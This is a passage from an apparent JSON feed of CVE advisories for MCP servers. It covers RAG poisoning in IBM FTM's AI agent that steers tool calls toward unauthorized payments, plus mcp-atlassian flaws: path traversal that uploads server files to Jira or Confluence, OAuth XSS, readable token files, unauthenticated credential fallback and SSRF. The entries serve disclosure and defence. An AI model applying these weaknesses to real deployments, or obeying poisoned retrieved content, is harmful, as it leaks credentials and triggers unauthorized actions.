      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-18875</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook upsert (CWE-74) in the FTM AI agent server (api.vectordb.runbooks.js:51). An unauthenticated attacker can insert malicious runbook content into the agent's vector database to steer AI-driven MCP tool calls, potentially triggering unauthorized payment actions or exfiltrating payment data.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://www.ibm.com/support/pages/node/7288641\">https://www.ibm.com/support/pages/node/7288641</a></li>\n</ul></p>",
      "date_published": "2026-09-23T16:16:41.850Z",
      "date_modified": "2026-10-07T13:03:07.517Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77272",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77272: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77272</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:51.177Z",
      "date_modified": "2026-09-28T13:10:43.460Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77269",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77269: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77269</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the remediation for CVE-2026-27825 protects download destinations but does not constrain source paths used by attachment uploads. A caller can provide an absolute or traversal file_path and cause the server to upload the selected local file. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-h7wj-5v37-59r2\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-h7wj-5v37-59r2</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.920Z",
      "date_modified": "2026-09-29T12:53:55.777Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77268",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77268: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77268</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth fallback token directory and JSON file are created without explicit owner-only modes. Local users or processes with access through the resulting group or world permission bits can read access and refresh tokens and reuse the associated Atlassian session. The advisory traces the vulnerable input and processing flow through ~/.mcp-atlassian, oauth-<client_id>.json, access_token, and refresh_token, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-4596-2p6p-28cv\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-4596-2p6p-28cv</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.773Z",
      "date_modified": "2026-09-29T18:59:26.260Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77266",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77266: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, up",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, up",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77266</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.627Z",
      "date_modified": "2026-09-28T13:14:12.170Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77262",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77262: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, co",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, co",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77262</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment accepts an attacker-controlled file_path and does not apply the path restriction added for the earlier download vulnerability. A caller can traverse outside the workspace and upload arbitrary server-readable files to Confluence. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-p6hp-93wp-fh6p\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-p6hp-93wp-fh6p</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.480Z",
      "date_modified": "2026-09-29T18:59:33.223Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77259",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77259: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, co",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, co",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77259</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, \"rb\"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.327Z",
      "date_modified": "2026-09-29T13:03:37.970Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77257",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77257: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HT",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HT",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77257</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HTTP-exposed Jira and Confluence upload tools pass a caller-provided file_path to local file operations without restricting it to the workspace. A remote MCP caller with tool access can cause the server to read sensitive local files and upload them as Atlassian attachments. The advisory traces the vulnerable input and processing flow through streamable-http, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mrq8-fv7v-hhjg\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mrq8-fv7v-hhjg</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.163Z",
      "date_modified": "2026-09-29T18:59:42.847Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77256",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77256: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77256</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the plaintext OAuth fallback file containing refresh and access tokens is written with permissions inherited from the process umask. Under common or permissive configurations, other local users can read the backup and retain Atlassian access through the refresh token. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens_to_file, refresh_token, access_token, and umask, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-76pr-5669-3xf5\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-76pr-5669-3xf5</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:50.007Z",
      "date_modified": "2026-09-28T13:18:25.863Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77255",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77255: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77255</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira update_issue attachments argument is converted into local paths and routed to the attachment upload implementation without workspace validation. A caller can make the MCP server read arbitrary local files and attach them to a Jira issue, using the server as a confused deputy to exfiltrate the contents. The advisory traces the vulnerable input and processing flow through jira update_issue, attachments, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-2xj6-xx86-cwwc\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-2xj6-xx86-cwwc</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:49.850Z",
      "date_modified": "2026-09-29T13:41:25.460Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77254",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77254: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, re",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, re",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77254</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, requests to the HTTP MCP endpoint without a per-user identity are allowed to reach tool handlers, which then use globally configured Jira or Confluence credentials. A network caller can perform operations with the operator account's permissions unless the deployment has an independent authentication boundary. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, _get_fetcher, and global credentials, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc8m-84rp-53hx\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc8m-84rp-53hx</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:49.693Z",
      "date_modified": "2026-09-28T13:22:14.527Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77253",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77253: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77253</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:49.540Z",
      "date_modified": "2026-09-28T13:23:46.773Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77249",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77249: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77249</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, JiraUserMixin._lookup_user_by_permissions uses the module-level requests.get function instead of the fetcher's protected session. A caller-controlled public Jira URL can redirect that unhooked request to an internal address, bypassing the redirect checks added for CVE-2026-27826. The advisory traces the vulnerable input and processing flow through JiraUserMixin._lookup_user_by_permissions, requests.get, self.jira._session.get, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-v9m3-wfh8-5646\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-v9m3-wfh8-5646</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:49.183Z",
      "date_modified": "2026-09-29T18:59:49.460Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77248",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77248: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77248</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the streamable HTTP transport accepts requests without a user identity and falls back to operator credentials, while upload_attachment accepts an unrestricted file_path. An unauthenticated network caller can read files available to the MCP process, upload them to an attacker-selected Jira issue or Confluence page, and retrieve the contents. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, upload_attachment, file_path, and _get_fetcher, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-cc5h-2pwp-pvcc\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-cc5h-2pwp-pvcc</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:49.027Z",
      "date_modified": "2026-09-28T13:33:54.863Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77247",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77247: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77247</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:48.877Z",
      "date_modified": "2026-09-28T14:37:25.277Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77246",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77246: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an",
